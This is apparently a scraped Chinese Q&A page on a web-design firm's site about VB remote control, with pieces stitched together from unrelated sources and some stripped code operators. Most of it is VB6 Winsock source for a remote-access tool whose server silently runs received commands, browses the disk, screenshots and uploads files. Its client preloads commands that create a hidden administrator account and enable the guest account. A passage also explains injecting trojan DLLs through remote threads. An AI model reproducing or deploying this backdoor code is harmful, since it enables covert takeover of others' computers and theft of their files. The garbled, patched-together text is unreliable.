vb.net远程控制,vb远程控制源码
远程通过网页控制服务器进程
借用目前国内外最流行的远程控制软件平台,比如网络人远程控制软件,无需做端口映射即可穿透任何内网,对局域网内的任意电脑进行远程控制、屏幕监控、视频监控、文件管理、系统进程观察等等操作;是远程服务器高效管理的必备工具。点此下载免费使用。
站在用户的角度思考问题,与客户深入沟通,找到建始网站设计与建始网站推广的解决方案,凭借多年的经验,让设计与互联网技术结合,创造个性化、用户体验好的作品,建站类型包括:网站设计、成都网站制作、企业官网、英文网站、手机端网站、网站推广、域名注册、虚拟主机、企业邮箱。业务覆盖建始地区。
2
有服务器上操作系统的账号、密码以及该服务器的ip地址。如果是管理员组的账号,可以考虑用telnet登陆该服务器,条件是该服务器开telnet服务。在cmd下,用命令操作。
谁有Vb 远程控制的代码呀,利用winsock编写的,客户端和服务器端,能控制对方界面的,
其实很简单 就是一个 wisock 控件
下面是说明
用wisock控件做,必须知道一方的IP,如被控制方IP。
被控制方程序:
Private Sub Form_Load()
Winsock1.LocalPort = 2555
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock2(i).Accept requestID
End Sub
Private Sub Winsock2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim strtmp As String
Winsock2(Index).GetData strtmp
'判断strtmp,是指定内容,就执行相关代码。略
End Sub
控制方程序:(假设对方IP是222.222.222.222)
Private Sub Command1_Click()
Dim strtmp As String
strtmp = Text1
While Winsock1.State 7
DoEvents
Wend
Winsock1.SendData strtmp
End Sub
Private Sub Form_Load()
Winsock1.Connect "222.222.222.222", 2555
End Sub 附件: 我的源代码
--------------服务端
Option Explicit
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Const theScreen = 1
Const theForm = 0
Dim filetypes As String
'查找第一个文件的API
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
'查找下一个文件的API
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
'获取文件属性的API
Private Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
'关闭查找文件的API
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
'以下为调用浏览文件夹窗口的API
Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem As Long)
Private Declare Function lstrcat Lib "kernel32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long
Private Declare Function SHBrowseForFolder Lib "shell32" (lpbi As BrowseInfo) As Long
Private Declare Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long
'常量
Const MAX_PATH = 260
Const MAXDWORD = HFFFF
Const INVALID_HANDLE_VALUE = -1
Const FILE_ATTRIBUTE_ARCHIVE = H20
Const FILE_ATTRIBUTE_DIRECTORY = H10
Const FILE_ATTRIBUTE_HIDDEN = H2
Const FILE_ATTRIBUTE_NORMAL = H80
Const FILE_ATTRIBUTE_READONLY = H1
Const FILE_ATTRIBUTE_SYSTEM = H4
Const FILE_ATTRIBUTE_TEMPORARY = H100
Const BIF_RETURNONLYFSDIRS = 1
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
'定义类(用于查找文件)
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
'定义类(用于浏览文件夹窗口)
Private Type BrowseInfo
hWndOwner As Long
pIDLRoot As Long
pszDisplayName As Long
lpszTitle As Long
ulFlags As Long
lpfnCallback As Long
lParam As Long
iImage As Long
End Type
'自定义函数
Function StripNulls(OriginalStr As String) As String
If (InStr(OriginalStr, Chr(0)) 0) Then
OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)
End If
StripNulls = OriginalStr
End Function
'自定义函数
Function FindFilesAPI(path As String, SearchStr As String, FileCount As Integer, _
DirCount As Integer)
SearchStr = "*.*"
Dim wenjianmulu As String
Dim FileName As String ' 文件名
Dim DirName As String ' 子目录名
Dim dirNames() As String ' 目录数组
Dim nDir As Integer ' 当前路径的目录数
Dim i As Integer ' 循环计数器变量
Dim hSearch As Long ' 搜索句柄变量
Dim WFD As WIN32_FIND_DATA
Dim Cont As Integer
If Right(path, 1) "\" Then path = path "\"
'搜索子目录
nDir = 0
ReDim dirNames(nDir)
Cont = True
hSearch = FindFirstFile(path "*", WFD)
If hSearch INVALID_HANDLE_VALUE Then
Do While Cont
DirName = StripNulls(WFD.cFileName)
If (DirName ".") And (DirName "..") Then
If GetFileAttributes(path DirName) And FILE_ATTRIBUTE_DIRECTORY Then
dirNames(nDir) = DirName
DirCount = DirCount + 1
nDir = nDir + 1
ReDim Preserve dirNames(nDir)
End If
End If
Cont = FindNextFile(hSearch, WFD) '获取下一个子目录
Loop
Cont = FindClose(hSearch)
End If
' 遍历目录并累计文件总数
hSearch = FindFirstFile(path SearchStr, WFD)
Cont = True
If hSearch INVALID_HANDLE_VALUE Then
While Cont
FileName = StripNulls(WFD.cFileName)
If (FileName ".") And (FileName "..") Then
FindFilesAPI = FindFilesAPI + (WFD.nFileSizeHigh * MAXDWORD) + WFD.nFileSizeLow
FileCount = FileCount + 1
List1.AddItem path FileName Format(((WFD.nFileSizeHigh * MAXDWORD) + WFD.nFileSizeLow) / 1024, "#,###,###,##0") "k"
wenjianmulu = wenjianmulu + "llwjml" path FileName
End If
Cont = FindNextFile(hSearch, WFD) ' 获取下一个文件
Wend
Cont = FindClose(hSearch)
End If
'如果子目录存在则遍历之
Ws.SendData wenjianmulu
End Function
Private Sub Command2_Click()
Print Ws.State
End Sub
Private Sub Command3_Click()
Dim FileName As String
FileName = Trim(Text2.Text)
Dim Buffer() As Byte
Dim fLen As Long
Dim FPath As String
FPath = FileName
fLen = FileLen(FPath)
ReDim Buffer(fLen - 1)
Open FPath For Binary As #3
Get #3, 1, Buffer
Close #3
Ws.SendData Buffer
End Sub
Private Sub Form_Load()
Ws.LocalPort = 7758
Ws.Listen
'传递文件类型
End Sub
Private Sub List1_DblClick()
MsgBox List1.Text
End Sub
Private Sub Ws_Close()
Ws.Close
Ws.Listen
End Sub
Private Sub Ws_ConnectionRequest(ByVal requestID As Long)
If Ws.State sckClosed Then Ws.Close
Ws.Accept requestID
End Sub
Private Sub Ws_DataArrival(ByVal bytesTotal As Long)
Dim tmp As String, tmp1 As String
Ws.GetData tmp, vbString
tmp1 = Mid(tmp, 1, 6)
Select Case tmp1
Case "msgbox"
MsgBox Mid(tmp, 7), vbOKOnly, "警告!"
Case "dakaiw"
Call FindFilesAPI(Mid(tmp, 7), "*.*", 1, 1)
Case "yunxin"
Shell Mid(tmp, 7), vbHide
Case "yuanpm"
'MsgBox Mid(tmp, 7)
Call keybd_event(vbKeySnapshot, theForm, 0, 0)
'若theForm改成theScreen则Copy整个Screen
DoEvents
Picture1.Picture = Clipboard.GetData(vbCFBitmap)
SavePic Picture1.Picture, "C:\\1.gif", ".gif"
Dim Buffer1() As Byte
Dim fLen1 As Long
Dim FPath1 As String
FPath1 = "C:\\1.gif"
fLen1 = FileLen(FPath1)
ReDim Buffer1(fLen1 - 1)
Open FPath1 For Binary As #3
Get #3, 1, Buffer1
Close #3
Ws.SendData Buffer1
Case "xiazai"
Dim FileName As String
FileName = Mid(tmp, 7)
Dim Buffer() As Byte
Dim fLen As Long
Dim FPath As String
FPath = FileName
fLen = FileLen(FPath)
ReDim Buffer(fLen - 1)
Open FPath For Binary As #3
Get #3, 1, Buffer
Close #3
Ws.SendData Buffer
End Select
End Sub
Sub Command1_Click()
Dim SearchPath As String, FindStr As String
Dim FileSize As Long
Dim NumFiles As Integer, NumDirs As Integer
Dim iNull As Integer, lpIDList As Long, lResult As Long
Dim sPath As String, udtBI As BrowseInfo
With udtBI
'设置浏览窗口
.hWndOwner = Me.hWnd
'.lpszTitle = "浏览器的标题" '但我试了很多次都出错(出错码13)
'返回选中的目录
.ulFlags = BIF_RETURNONLYFSDIRS
End With
'调出浏览窗口
lpIDList = SHBrowseForFolder(udtBI)
'如果点击“取消”,则关闭浏览窗口
If lpIDList = 0 Then Exit Sub
If lpIDList Then
sPath = String$(MAX_PATH, 0)
'获取路径
SHGetPathFromIDList lpIDList, sPath
'释放内存
CoTaskMemFree lpIDList
iNull = InStr(sPath, vbNullChar)
If iNull Then
sPath = Left$(sPath, iNull - 1)
End If
End If
Screen.MousePointer = vbHourglass
'List1.Clear
SearchPath = sPath '选中的目录为搜索的起始路径
FindStr = filetypes '搜索所有类型的文件(此处可另作定义)
On Error Resume Next
FileSize = FindFilesAPI(SearchPath, FindStr, NumFiles, NumDirs)
Text1.Text = "查找到的文件数:" NumFiles "个 " vbCrLf "查找的目录数:" _
NumDirs + 1 "个 " vbCrLf "文件大小总共为:" _
Format(FileSize, "#,###,###,##0") "字节"
Screen.MousePointer = vbDefault
'显示文件大小时,如果文件太多会出错,我想不出解决的办法
End Sub
--------客户端
Dim strFileName As String
Private Sub Command3_Click()
Wc.SendData "yunxin" Combo2.Text
End Sub
Private Sub Command5_Click() '下载文件
If Dir(strFileName) "" Then
Kill strFileName
End If
Wc.SendData "xiazai" List1.Text
strFileName = "c:\\" Right(List1.Text, 5)
End Sub
Private Sub Command6_Click()
If Dir(strFileName) "" Then
Kill strFileName
End If
strFileName = "C:\\chongwu123.gif"
Wc.SendData "yuanpm" "fffff"
If MsgBox("444", vbOKCancel) = 2 Then
End If
Form2.Show
End Sub
Private Sub Form_Load()
strFileName = InputBox("baocun", , "C:\\chongwu123.gif")
Wc.RemoteHost = "127.0.0.1" '远程IP地址
Wc.RemotePort = 7758 '远程端口
Wc.Connect
Combo1.AddItem "C:\"
Combo1.AddItem "D:\"
Combo1.AddItem "E:\"
Combo1.AddItem "F:\"
Combo1.AddItem "G:\"
Combo1.AddItem "H:\"
Combo1.AddItem "C:\WINDOWS"
Combo1.AddItem "C:\WINDOWS\system32"
Combo1.AddItem "C:\Documents and Settings\All Users\「开始」菜单\程序\启动"
Combo1.AddItem "C:\Program Files"
Combo2.AddItem "cmd /c net user qyjack qyjack /add"
Combo2.AddItem "cmd /c net user qyjack /del"
Combo2.AddItem "cmd /c net user guest /active:yes"
Combo2.AddItem "cmd /c net localgroup administrators qyjack /add"
End Sub
Private Sub Wc_ConnectionRequest(ByVal requestID As Long)
If Wc.State sckClosed Then Wc.Close
Wc.Accept requestID
End Sub
Private Sub Command1_Click() '打开目录
If Dir(strFileName) "" Then
Kill strFileName
End If
Dim str As String, str1 As String
str1 = Trim(Combo1.Text)
str = "dakaiw" str1
Wc.SendData str
End Sub
Private Sub List1_DblClick()
If Dir(strFileName) "" Then
Kill strFileName
End If
Wc.SendData "dakaiw" List1.Text
End Sub
Private Sub Command2_Click() '发送消息
Dim str As String, str1 As String
str1 = Trim(Text2.Text)
str = "msgbox" str1
Wc.SendData str
End Sub
Private Sub Wc_DataArrival(ByVal bytesTotal As Long)
Dim tmp As String, tmp1 As String, b() As String, i As Integer
Dim Buffer() As Byte
ReDim Buffer(bytesTotal)
'Wc.GetData tmp, vbString
Wc.GetData Buffer
Dim getLen As Long
Open strFileName For Binary As #1
getLen = LOF(1)
Put #1, getLen + 1, Buffer
Close #1
Open strFileName For Input As #2
Input #2, tmp
Close #2
Text5 = tmp
tmp1 = Mid(tmp, 1, 6)
Select Case tmp1
Case "llwjml"
List1.Clear
b() = Split(tmp, "llwjml")
For i = 1 To UBound(b, 1)
List1.AddItem b(i)
Next i
Case Else
End Select
End Sub
VB.NET下如何进行远程线程注入
首先来了解远程线程注入远程线程插入(注入)技术指的是通过在另一个进程中创建远程线程的方法进入目标进程的内存地址空间。将木马程序以DLL的形式实现后,需要使用插入到目标进程中的远程线程将该木马DLL插入到目标进程的地址空间,即利用该线程通过调用Windows API LoadLibrary函数来加载木马DLL,从而实现木马对系统的侵害。 这种技术一般用于外挂 当外挂注入到游戏中时 你的电脑也就中啦木马 一般的解决方法 wmiprvse.exe是一个系统服务的进程,你可以结束任务,进程自然消失。 禁用Windows Management Instrumentation Driver Extensions服务或者改为手动 具体:桌面-我的电脑-管理-服务和应用程序-服务 里面有个Windows Management Instrumentation 右键—禁用就可以了. 我也用过,感觉第二种方法较好。 解除命令方法:同样操作复制下边的命[1][2][3]令粘贴输入,回车确定。即可、 reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmiprvse.exe” /f希望会帮到你
现在需要写代码(VB.NET,C#也行),要连接远程电脑(有登陆用户名和密码),该怎么写?Thans!!
1:连接远程电脑,这个技能你能处理不?
1.1:不能处理,那么想问下,连接远程电脑是怎么样方式,使用telnet?还是什么?你要连接人家的电脑,肯定对方要开放端口,或者提供服务。比如sqlserver,你连接远程电脑上的sqlserver服务。
1.1.1举个例子,你使用telnet连接对方的电脑,要求对方是提供并使telnet服务可用的,那么你先向对方发送一个请求,对方电脑会回复你提示是否可以正常通信。正常情况下,对方电脑要求你输入用户名和密码。如果两者正常,那么提示你登录成功。
1.2:如果连接远程电脑,你可以解决,不用考虑,那么楼主你是想实现以后可以不用再输入用户名和密码就可以直接登录是不?
2:处理登录一次成功后,以后不用再次输入用户名和密码
2.1其实说到底,以后不用再次输入,那么就是让程序实现自动输入用户名和密码,不用你去输入,是不?
2.2你在第一次登录成功后,就应该把对方电脑的名称(或者地址),包括用户名和密码保存起来。下次程序自动去判断,当前操作的是不是曾经登录成功过的电脑。用保存起来的用户名和密码进行自动登录。
2.3延深开来。登录时,作下确认是否需要进行下次自动登录,需要的情况下,保存相关2.2的信息。
2.4再延深,你可以设置保存的信息多久失效,比如15天之间没有使用过的情况下,连接电脑时要求重新输入用户名和密码。(此时,需要在每次登录成功后,都在2.2的信息上,记录下最后一次登录的时间)
vb.net如何连接远程db2数据库
如果要程序直接连接DB2数据库,必须要有连接数据库的驱动程序,连接的代码,你可以参考如下(以前用C#写的,你改成VB.NET即可,ODBC连接对象)
public OdbcConnection Db2Conn()
{
string str = "DRIVER=IBM DB2 ODBC DRIVER;UID=db2admin;PWD=db2admin;AUTHENTICATION=SERVER;PORT=50000;HOSTNAME=192.168.100.98;PROTOCOL=TCPIP;DATABASE=YCDATA";
OdbcConnection Conn = new OdbcConnection(str);
return Conn;
}
如果你是开发桌面程序而又不想在客户端安装数据库的驱动程序,那么你可以采用web网站(含webservice)或者remoting方式,只需要在服务端安装驱动即可
网站标题:vb.net远程控制,vb远程控制源码
标题URL:http://scjbc.cn/article/phcoog.html